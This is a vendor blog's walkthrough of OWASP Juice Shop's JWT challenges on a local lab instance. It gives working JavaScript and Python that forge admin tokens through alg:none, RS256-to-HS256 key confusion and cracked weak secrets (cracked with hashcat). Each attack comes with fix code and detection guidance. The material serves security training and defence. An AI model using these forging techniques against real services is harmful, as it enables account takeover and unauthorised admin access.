Skip to main content

Free 30-min security demo Book Now

Application Security

Juice Shop JWT Challenges: Full Walkthrough

Solve OWASP Juice Shop's JWT challenges step by step: forge admin tokens using alg:none, RS256→HS256 confusion, and weak secret brute-force — with fixes.

Offensive360 Security Research Team — min read
OWASP Juice Shop juice shop jwt jwt challenges jwt attack jwt algorithm confusion alg none attack rs256 hs256 confusion json web token jwt security owasp juice shop juice shop walkthrough juice shop solutions web application security broken authentication jwt vulnerabilities

OWASP Juice Shop’s JWT (JSON Web Token) challenges are among the most technically interesting in the scoreboard. They cover three distinct real-world JWT attack classes — the alg:none bypass, RS256→HS256 algorithm confusion, and weak secret brute-forcing — all of which appear regularly in real enterprise API security assessments.

This walkthrough covers every JWT challenge in Juice Shop, explains the underlying vulnerability mechanics, shows the exploitation steps, and provides the correct fixes.

Before starting, get Juice Shop running:

docker run --rm -p 3000:3000 bkimminich/juice-shop

Open http://localhost:3000/ and keep your browser’s DevTools Network tab open throughout — you’ll need to inspect and modify JWT tokens in requests.


Understanding JWT Basics

Before attacking JWT, understand the structure. A JWT looks like this:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInJvbGUiOiJhZG1pbiJ9fQ.SIGNATURE

It has three base64url-encoded parts separated by dots:

  1. Header — specifies the algorithm: {"alg":"RS256","typ":"JWT"}
  2. Payload — the claims: {"data":{"id":1,"email":"[email protected]","role":"admin"}}
  3. Signature — cryptographic proof of integrity

The security of JWT depends entirely on the server correctly verifying the signature. When that verification is broken or bypassable, an attacker can forge arbitrary payloads — including admin tokens.


Juice Shop JWT Architecture

Juice Shop uses JWTs for all authentication after login. When you log in:

POST /rest/user/login
{"email":"[email protected]","password":"password123"}

Response:
{"authentication":{"token":"eyJ...","upcomingnonce":...}}

The token is stored in the browser’s localStorage under the key token. Every subsequent authenticated request includes it:

Authorization: Bearer eyJ...

Juice Shop’s JWT implementation contains multiple intentional weaknesses for the challenge set. Let’s exploit them.


Challenge 1: Forged Admin Token via alg:none (⭐⭐⭐⭐)

Category: Broken Authentication

Goal: Forge a JWT that grants admin access without knowing any signing key.

The Vulnerability: Algorithm Confusion with alg:none

The JWT specification includes an algorithm value none, intended for “unsecured JWTs” in environments where integrity is guaranteed by other means. Some JWT libraries, when they encounter alg:none in the token header, skip signature verification entirely — because the specification says an unsecured JWT has no signature.

An attacker can exploit this by:

  1. Decoding an existing legitimate JWT
  2. Modifying the payload (changing role to "admin", or changing the email to an admin account)
  3. Setting the algorithm to none in the header
  4. Removing the signature (but keeping the trailing dot)
  5. Sending the forged token to the server

If the server’s JWT library accepts alg:none without verification, the forged token is accepted.

Step-by-Step: Forging the Admin Token

Step 1: Get a legitimate JWT

Log in to any Juice Shop account (register one if needed). Open DevTools → Application → Local Storage → http://localhost:3000/. Copy the value stored under token.

Step 2: Decode the JWT

Split the token at the dots. The first two parts are base64url-encoded. Decode them:

// In the browser console:
const token = localStorage.getItem('token');
const [header, payload, sig] = token.split('.');

// Decode (base64url to JSON)
const h = JSON.parse(atob(header.replace(/-/g,'+').replace(/_/g,'/')));
const p = JSON.parse(atob(payload.replace(/-/g,'+').replace(/_/g,'/')));

console.log('Header:', h);
console.log('Payload:', p);

You’ll see something like:

Header: {"alg":"RS256","typ":"JWT"}
Payload: {"status":"success","data":{"id":6,"email":"[email protected]","role":"customer"},"iat":...,"exp":...}

Step 3: Modify the payload

Change the email and role to admin values:

{"status":"success","data":{"id":1,"email":"[email protected]","role":"admin"},"iat":1234567890,"exp":9999999999}

Step 4: Encode the forged header and payload

// Create forged header (alg: none)
const forgedHeader = btoa(JSON.stringify({"alg":"none","typ":"JWT"}))
  .replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');

// Create forged payload
const forgedPayload = btoa(JSON.stringify({
  "status":"success",
  "data":{"id":1,"email":"[email protected]","role":"admin"},
  "iat":1234567890,
  "exp":9999999999
})).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');

// Construct forged token (no signature, but with trailing dot)
const forgedToken = forgedHeader + '.' + forgedPayload + '.';
console.log('Forged token:', forgedToken);

Step 5: Send the forged token

Replace the stored token and make an authenticated request:

// Set the forged token in localStorage
localStorage.setItem('token', forgedToken);

// Make an authenticated API request as admin
fetch('/api/Users/', {
  headers: { 'Authorization': 'Bearer ' + forgedToken }
}).then(r => r.json()).then(console.log);

If Juice Shop’s JWT middleware accepts alg:none, this returns the full user list — an admin-only endpoint. The Juice Shop challenge notification confirms the solve.

Alternatively, use jwt.io or a JWT manipulation tool to craft the forged token visually, then send it via Burp Suite’s Repeater.


Challenge 2: RS256 → HS256 Algorithm Confusion (⭐⭐⭐⭐⭐)

Category: Broken Authentication

Goal: Forge an admin JWT by exploiting algorithm confusion between RS256 (asymmetric) and HS256 (symmetric).

The Vulnerability: Asymmetric to Symmetric Algorithm Confusion

This is one of the most elegant JWT attacks. Here’s the setup:

  • Juice Shop signs tokens with RS256 — a private RSA key signs, and the corresponding public key verifies
  • The server’s public key is available (public keys are, by definition, meant to be shared)
  • Some vulnerable JWT libraries, when they see a token with alg:HS256, use the same key material for verification — but in HS256, the “key” is the HMAC secret, not a public key

The attack: Take the server’s RSA public key and use it as the HS256 HMAC secret. Sign a forged JWT with HS256 using the public key as the secret. Submit it to the server. If the server’s JWT library is vulnerable, it will:

  1. See alg:HS256 in the header
  2. Look up the key material (expecting an HMAC secret)
  3. Use the RSA public key as the HMAC secret (since it’s what’s configured as the verification key)
  4. Verify successfully — because the attacker signed with the same public key

The server’s public key is not secret — it’s designed to be public. But in this attack, it becomes the attacker’s signing secret.

Step-by-Step: RS256→HS256 Confusion Attack

Step 1: Obtain the server’s public key

Juice Shop exposes its RSA public key at:

http://localhost:3000/encryptionkeys/jwt.pub

Copy the public key:

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA8J... [public key content] ...AQAB
-----END RSA PUBLIC KEY-----

Step 2: Craft the forged HS256 token

Use a tool that supports JWT manipulation (Python’s PyJWT, or a custom script):

import jwt
import base64

# The server's RSA public key (from /encryptionkeys/jwt.pub)
public_key = b"""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA...
-----END RSA PUBLIC KEY-----"""

# The admin payload
admin_payload = {
    "status": "success",
    "data": {
        "id": 1,
        "email": "[email protected]",
        "role": "admin"
    },
    "iat": 1234567890,
    "exp": 9999999999
}

# Sign with HS256, using the RSA public key as the HMAC secret
forged_token = jwt.encode(
    admin_payload,
    public_key,       # RSA public key used as HMAC secret
    algorithm="HS256"
)

print("Forged token:", forged_token)

Step 3: Send the forged token

Replace the Authorization: Bearer header in a request to an admin-only endpoint with the forged token. The challenge notification fires when the server accepts it.

This attack works in Juice Shop because the underlying JWT library (in vulnerable configurations) uses the same key material for both RS256 verification and HS256 verification — meaning the public key (which the attacker knows) can be used as the HS256 secret.


Challenge 3: Weak JWT Secret Brute-Force (⭐⭐⭐)

Category: Broken Authentication

Goal: Crack Juice Shop’s HMAC-based JWT secret by brute-force, then forge a token.

The Vulnerability: Predictable or Weak HMAC Secret

Some Juice Shop configurations use HS256 (HMAC-based signing) rather than RS256. HS256 uses a shared secret for both signing and verification. If that secret is weak — a dictionary word, short string, or default value — it can be brute-forced offline.

Unlike brute-forcing a login endpoint (which is rate-limited and server-detected), brute-forcing a JWT secret is entirely offline. The attacker needs only a valid JWT token (obtained by logging in with their own credentials) and a password wordlist.

Step-by-Step: JWT Secret Brute-Force

Step 1: Get a legitimate JWT token

Log in as any user and copy the JWT from localStorage.

Step 2: Brute-force the secret

Use hashcat or the dedicated jwt-cracker tool:

# Using hashcat — mode 16500 is JWT HS256
hashcat -a 0 -m 16500 \
  "eyJ....[your.jwt.token.here]" \
  /usr/share/wordlists/rockyou.txt

# Using jwt-cracker (Node.js)
npx jwt-cracker \
  "eyJ....[your.jwt.token.here]" \
  --alphabet abcdefghijklmnopqrstuvwxyz \
  --max-length 8

If the secret is in the wordlist (Juice Shop uses a secret that can be found in standard wordlists for this challenge), the tool outputs:

[CRACKED] Secret: "s3cr3t"

Step 3: Forge an admin token with the cracked secret

import jwt

# Cracked secret
secret = "s3cr3t"

# Forge admin payload
admin_payload = {
    "status": "success",
    "data": {
        "id": 1,
        "email": "[email protected]",
        "role": "admin"
    },
    "iat": 1234567890,
    "exp": 9999999999
}

forged_token = jwt.encode(admin_payload, secret, algorithm="HS256")
print("Forged admin token:", forged_token)

Submit this token in an Authorization: Bearer header — the server verifies it correctly (the secret matches) and accepts it as a valid admin session.


Why JWT Vulnerabilities Matter in Production

Every JWT vulnerability in Juice Shop directly maps to real vulnerabilities found in production APIs:

alg:none in the Wild

The alg:none attack affected multiple production JWT libraries before it was widely understood. Vulnerabilities tracked as CVE-2015-9235 and similar affected early versions of popular Node.js, PHP, and Python JWT libraries. Any application using an unpatched library from the 2015–2018 era may still be vulnerable if it was never updated.

RS256→HS256 Confusion in Production

This attack was first described by Tim McLean in 2015. It affected the PHP library firebase/php-jwt (before version 3.0) and many others. Production APIs that handle asymmetric-to-symmetric algorithm downgrade without explicitly rejecting algorithm switching are still vulnerable.

Weak Secrets in Production

JWT libraries set no minimum entropy requirement on HMAC secrets. Applications that use short passwords, config file defaults, or developer-assigned strings like "secret" or "myapp" as JWT secrets are vulnerable to offline brute-force. This is particularly common in:

  • Applications migrated from session cookies to JWT (the session secret was reused)
  • Applications that copy code from tutorials using "secret" as the example key
  • APIs where the JWT secret is stored in a .env file committed to version control

How to Fix JWT Vulnerabilities

Fix 1: Reject the alg:none Algorithm

Never allow alg:none in token verification. The fix is explicit:

// Node.js — jsonwebtoken library
const jwt = require('jsonwebtoken');

// VULNERABLE: algorithm not specified — accepts whatever the token says
jwt.verify(token, publicKey);

// SECURE: explicitly specify the allowed algorithm(s)
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// This rejects alg:none and any other algorithm not in the list
# Python — PyJWT
import jwt

# VULNERABLE: no algorithm restriction
decoded = jwt.decode(token, public_key, options={"verify_signature": True})

# SECURE: specify allowed algorithms
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
# Raises jwt.exceptions.InvalidAlgorithmError for alg:none or HS256

Fix 2: Prevent RS256→HS256 Confusion

The simplest fix is to specify a strict algorithm allowlist when verifying tokens. Never allow both symmetric and asymmetric algorithms for the same endpoint:

// Node.js — restrict to RS256 only
const decoded = jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
// Now an HS256 token (using the public key as the HMAC secret) is rejected
// because HS256 is not in the allowed list

Additionally, load your verification key explicitly as a KeyObject with the correct type to prevent type confusion at the library level.

Fix 3: Use Strong JWT Secrets

For applications using HS256, the HMAC secret must have sufficient entropy:

// VULNERABLE: short, dictionary-word secret
const JWT_SECRET = 'secret';

// SECURE: cryptographically random 256-bit secret
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(32).toString('hex');
// Store in environment variable or secrets manager — never hardcode
# Generate a strong secret (256 bits)
openssl rand -hex 32
# → a3f8d2c1b4e5...

Store this secret in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault) — never in source code or version-controlled .env files.

Fix 4: Validate All JWT Claims

Even with correct signature verification, validate the payload claims:

const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'https://your-app.com',
  audience: 'your-api',
});

// Then validate the role explicitly server-side:
if (decoded.data.role !== 'admin') {
  return res.status(403).json({ error: 'Forbidden' });
}

Never trust the role, isAdmin, or privilege claims in a JWT without verifying the signature first — and never use client-supplied role values without verification.


SAST Detection of JWT Vulnerabilities

A SAST tool with JWT-aware detection should flag:

PatternFinding
jwt.verify(token, key) without algorithms optionAlgorithm not restricted — vulnerable to alg:none and confusion attacks
JWT secret assigned from a string literalHardcoded JWT secret (CWE-798)
JWT secret loaded from a weak source ('secret', 'password')Predictable JWT secret
Both RS256 and HS256 in the algorithms arrayAlgorithm confusion risk

Offensive360 SAST flags these patterns in Node.js, Python, Java, C#, Go, and Ruby JWT implementations, with data-flow tracing from the secret source through to the verification call.


Connecting JWT Challenges to Other Juice Shop Challenges

After completing the JWT challenges, several related Juice Shop challenges become accessible:

ChallengeConnection
Login Admin (SQLi) (⭐⭐)Alternative path to admin access — compare the SQLi approach to the JWT approach
Admin Section (⭐⭐)Accessing /#/administration — requires admin role (achievable via JWT forgery)
Five-Star Feedback (⭐⭐⭐)Deleting a five-star review — requires admin API access
Forged Review (⭐⭐⭐)Post a review as another user — requires manipulating the JWT’s user ID field

The JWT challenges teach a critical lesson: authentication is only as strong as the cryptographic verification behind it. A JWT with a forged payload that passes signature verification grants exactly the same access as a legitimately issued token — from the server’s perspective, they’re indistinguishable.


Frequently Asked Questions

Do I need to know cryptography to solve the Juice Shop JWT challenges?

No — a basic understanding of what JWTs are helps, but you don’t need to understand RSA or HMAC mathematics. The alg:none attack requires only the ability to base64-encode and decode strings. The RS256→HS256 attack requires a Python script or a tool like jwt.io’s JWT editor (with the algorithm confusion plugin). The brute-force challenge requires running hashcat with a wordlist.

Which JWT challenge is the hardest?

The RS256→HS256 algorithm confusion (five-star) is the most conceptually complex — it requires understanding why the public key can act as an HMAC secret. The alg:none attack (four-star) is conceptually simpler but requires more careful token construction. The brute-force challenge (three-star) is mechanically straightforward once you have hashcat set up.

Are these vulnerabilities still found in real applications?

Yes, regularly. The alg:none vulnerability appears in applications running unpatched JWT libraries from before 2018. Algorithm confusion attacks appear in applications using multiple JWT algorithm types (e.g., supporting both RS256 for service-to-service and HS256 for user sessions). Weak JWT secrets appear in nearly every codebase audit — developers frequently use short, memorable strings as JWT secrets, especially in early development, and those values often persist into production.

What tools help with JWT challenges?

  • jwt.io — online JWT decoder and encoder; excellent for manual token manipulation
  • Burp Suite (with JWT Editor plugin) — intercept and modify JWT tokens in HTTP requests
  • hashcat — offline JWT secret brute-forcing
  • PyJWT (Python) — programmatic JWT creation and signing
  • jwt_tool (Python) — dedicated JWT attack toolkit covering all major JWT attack classes

Summary

Juice Shop’s JWT challenges cover the three most critical JWT attack classes in real-world API security:

ChallengeAttackDifficultyKey Insight
alg:none bypassRemove signature, set algorithm to none⭐⭐⭐⭐Server must explicitly reject alg:none
RS256→HS256 confusionSign HS256 with the server’s public key⭐⭐⭐⭐⭐Public key becomes attacker’s HMAC secret
Weak secret brute-forceCrack HMAC secret offline⭐⭐⭐JWT secrets must have high entropy

All three attacks exploit failures in JWT verification — not the JWT format itself. The format is fine; the implementations are broken. The fix in every case is the same: explicitly specify the allowed algorithm(s), use cryptographically strong secrets, and never trust user-supplied algorithm or role values without verification.

For the complete Juice Shop challenge catalog and solutions across all categories, see the OWASP Juice Shop challenge solutions guide. For a broader guide to all Juice Shop vulnerability classes, see the complete OWASP Juice Shop guide.


Offensive360 SAST detects JWT algorithm flexibility vulnerabilities, hardcoded JWT secrets, and missing algorithm restrictions across Node.js, Python, Java, Go, and C# codebases. Book a demo — results in minutes, source code stays on your server.

Offensive360 Security Research Team

Application Security Research

Dynamic testing

Benchmark a real DAST scanner on your lab

Point Offensive360 DAST at Juice Shop, DVWA or your own staging app: headless-browser crawling, 40+ active exploit checks and request/response proof for every finding.

Also see: Free Juice Shop benchmark kit (PDF) · Attack Surface Management · Autonomous Red Teaming

Benchmark a real DAST scanner on your lab

Book a DAST demo